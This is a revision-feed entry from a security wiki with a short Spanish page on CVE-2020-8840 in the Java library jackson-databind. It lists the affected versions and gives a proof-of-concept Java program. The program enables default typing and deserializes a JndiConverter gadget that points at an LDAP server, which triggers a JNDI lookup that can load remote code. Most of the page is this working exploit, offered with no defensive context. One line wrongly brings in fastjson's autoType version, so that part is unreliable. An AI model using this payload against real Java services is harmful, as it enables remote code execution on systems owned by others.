https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2020-8840_FasterXML_jackson-databind_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fes 2026-04-10T06:13:16Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2020-8840_FasterXML_jackson-databind_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/es&diff=5248&oldid=prev 2021-06-17T01:13:01Z

<p>Created page with &quot;CVE-2020-8840 FasterXML vulnerabilidad de ejecución remota de código jackson-databind&quot;</p> <p><b>New page</b></p><div>&lt;languages /&gt;<br /> == Impacto de la vulnerabilidad ==<br /> jackson-databind 2.0.0 – 2.9.10.2<br /> <br /> Se ha verificado que fastjson afecta a la última versión de fastjson v1.2.62 cuando la función autoType está activada<br /> <br /> ==POC==<br /> &lt;pre&gt;<br /> import com.fasterxml.jackson.databind.ObjectMapper;<br /> import java.io.IOException;<br /> <br /> public class Poc {<br /> public static void main(String args[]) {<br /> ObjectMapper mapper = new ObjectMapper();<br /> <br /> mapper.enableDefaultTyping();<br /> <br /> String json = &quot;[\&quot;org.apache.xbean.propertyeditor.JndiConverter\&quot;, {\&quot;asText\&quot;:\&quot;ldap://localhost:1389/ExportObject\&quot;}]&quot;;<br /> <br /> try {<br /> mapper.readValue(json, Object.class);<br /> } catch (IOException e) {<br /> e.printStackTrace();<br /> }<br /> <br /> }<br /> }<br /> &lt;/pre&gt;</div>

Pwnwiki